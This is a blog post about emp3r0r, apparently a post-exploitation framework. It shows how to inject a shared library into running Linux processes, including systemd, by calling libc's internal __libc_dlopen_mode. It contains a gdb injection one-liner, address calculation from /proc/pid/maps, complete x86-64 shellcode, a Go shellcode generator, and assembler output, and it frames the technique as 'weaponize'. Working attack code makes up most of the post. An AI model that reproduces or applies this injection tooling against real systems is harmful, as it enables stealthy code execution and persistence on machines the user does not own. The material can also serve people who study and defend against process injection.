emp3r0r injection

shared library injection

with gdb (yes i have compiled a fully static gdb), we can easily perform the injection by invoking dlopen in target processes, since most processes on a Linux machine are linked with glibc, this will work for almost every process, including systemd

according to https://magisterquis.github.io/2018/03/11/process-injection-with-gdb.html, we can simply run

echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p 1

this command tells gdb to find and execute __libc_dlopen_mode() function in current process, and print the return value (the address of mapped library.so)

in case you didnt know, dlopen is a function from libdl, well, not all processes have libdl loaded, and thats also the reason that we are gonna use __libc_dlopen_mode, which is an internal function of libc, almost every process on a Linux system loads libc

for convenience, i have implemented this in emp3r0r so that you can use injector module to do that automatically

look at the screenshot above to get an impression of how it works

weaponize

given gdb can do the job for us, it's not guaranteed that it will work every time, and we surely don't want any extra dependencies

how to find a libc function in memory

we can easily find the offset of __libc_dlopen_mode or any other symbols in libc.so binary by parsing the ELF file, but its almost guaranteed that you wont be able to call them via the offsets found in ELF file

with ASLR enabled, each time libc gets loaded, it has a different base address, which is expected. what you might not know is, there's a global offset as well, for example i found on a Debian 11 system that libc.so is loaded with an offset of 0x2500, meaning you have to deduct that value when locating your symbols

all these information can be found in /proc/pid/maps, all you have to do is read it

so basically emp3r0r does the following:

  • read /proc/pid/maps to get base address and offset of libc.so
  • parse libc.so binary to find the symbol (__libc_dlopen_mode in this case)
  • calculate the address of symbol in target processes (pid): base - offset + symbol_addr

write the shellcode

this shellcode simply sets up the parameters __libc_dlopen_mode requires, and then calls __libc_dlopen_mode by the address hardcoded in it

to use this shellcode in practice, you need at least the real (randomized) address of __libc_dlopen_mode

xor  eax, esi
xor  edi, edi
xor  esi, esi
xor  edx, edx
xor  ecx, ecx
xor  ebx, ebx
push rdi
mov  rdi, 0x312e332e312e6f73
push rdi
mov  rdi, 0x2e6d617062696c2f
push rdi
mov  rdi, 0x756e672d78756e69
push rdi
mov  rdi, 0x6c2d34365f363878
push rdi
mov  rdi, 0x2f62696c2f727375
push rdi
mov  rdi, 0x2f00000000000000
push rdi
add  rsp, 7
mov  rdi, rsp
mov  sil, 2
mov  rax, 0x7fdbd84e9800; change me to real __libc_dlopen_mode address
call rax

to make things easier, emp3r0r has made a template and some code to generate required shellcode on the fly

var (
    dlopen_shellcode = "31f0" + "31ff" + "31f6" +
        "31d2" + "31c9" + "31db" + // clear rax, rdi, rsi
        "57" + // push rdi '\0'
        // filename is path to loader.so
        // to be replaced with
        // movabs rdi, 0xdeadbeefdeadbeef; push rdi
        // opcode is 48bfdeadbeefdeadbeef; 57
        "filename" +
        // "cc" + // int3
        "40b602" + // mov sil, 2; mode=2
        "48b830d9320c047f0000" +
        // "cc" + // int3
        "ffd0" + // movabs rax, 0x7f040c32d930; call rax
        "cc" // int3
)

// generates instructions that pushes filename to stack
// and assign to rdi as function parameter
func push_filename_asm(path string) (ret_hex string) {
    path_hex := ""
    if len(path) <= 8 {
        path_hex = hex.EncodeToString([]byte(path))
        ret_hex = "48bf" + path_hex + "57" // movabs rdi, so_path_hex; push rdi
        ret_hex += "4889e7"                // mov rdi, rsp

    } else {
        path_str := "" // hex string can't be easily reversed
        for _, char := range util.ReverseString(path) {
            c := string(char)
            if len(path_str) == 8 {
                r := util.ReverseString(path_str)
                path_hex = hex.EncodeToString([]byte(r))
                ret_hex += "48bf" + path_hex + "57" // movabs rdi, path_hex; push rdi
                path_str = ""
            }
            path_str += c
        }

        // remaining chars
        r := util.ReverseString(path_str)
        path_hex = hex.EncodeToString([]byte(r))
    }

    // pad the remaining bytes
    if len(path_hex)/2 < 8 {
        padding := 8 - len(path_hex)/2     // number of paddings using NULL
        padding_b := []byte{byte(padding)} // number of NULLs used for padding, in hex format
        path_hex = fmt.Sprintf("%s%s", strings.Repeat("00", padding), path_hex)
        ret_hex += "48bf" + path_hex + "57"
        ret_hex += fmt.Sprintf("4883c4%s", hex.EncodeToString(padding_b)) // add rsp, padding
    }
    ret_hex += "4889e7" // mov rdi, rsp

    return
}

asm to hex (and vice versa)

it should be easy if you have experience in shellcode, here i used rasm2 (included in radare2)

this converts hex encoded bytes to assembly

 rasm2 -D -a x86 -b 64 '31f031ff31f65748bf736f2e312e332e315748bf2f6c696270616d2e5748bf696e75782d676e755748bf7838365f36342d6c5748bf7573722f6c69622f5748bf000000000000002f574883c4074889e740b60248b800984ed8db7f0000ffd0cc'
0x00000000   2                     31f0  xor eax, esi
0x00000002   2                     31ff  xor edi, edi
0x00000004   2                     31f6  xor esi, esi
0x00000006   1                       57  push rdi
0x00000007  10     48bf736f2e312e332e31  movabs rdi, 0x312e332e312e6f73
0x00000011   1                       57  push rdi
0x00000012  10     48bf2f6c696270616d2e  movabs rdi, 0x2e6d617062696c2f
0x0000001c   1                       57  push rdi
0x0000001d  10     48bf696e75782d676e75  movabs rdi, 0x756e672d78756e69
0x00000027   1                       57  push rdi
0x00000028  10     48bf7838365f36342d6c  movabs rdi, 0x6c2d34365f363878
0x00000032   1                       57  push rdi
0x00000033  10     48bf7573722f6c69622f  movabs rdi, 0x2f62696c2f727375
0x0000003d   1                       57  push rdi
0x0000003e  10     48bf000000000000002f  movabs rdi, 0x2f00000000000000
0x00000048   1                       57  push rdi
0x00000049   4                 4883c407  add rsp, 7
0x0000004d   3                   4889e7  mov rdi, rsp
0x00000050   3                   40b602  mov sil, 2
0x00000053  10     48b800984ed8db7f0000  movabs rax, 0x7fdbd84e9800
0x0000005d   2                     ffd0  call rax
0x0000005f   1                       cc  int3

this converts raw binary of shellcode to hex string

 nasm dlopen.asm -o /tmp/dlopen && rax2 -S < /tmp/dlopen
31f031ff31f631d231c931db5748bf736f2e312e332e315748bf2f6c696270616d2e5748bf696e75782d676e755748bf7838365f36342d6c5748bf7573722f6c69622f5748bf000000000000002f574883c4074889e740b60248b800984ed8db7f0000ffd0

shellcode debugging

im sure many people would ask, "how to debug my shellcode with gdb on the fly (instead of compile it as a standalone ELF)?"

if you search the Internet you will find surprisingly little information about this topic, no one is sharing anything useful, they just tell you the most basic and known by the whole universe techniques

come on, we just need to throw our shellcode at $PC ($RIP in this case) and watch it run!

how do we do that?

(gdb) restore binary shellcode.bin $rip
(gdb) ni

Comments

comments powered by Disqus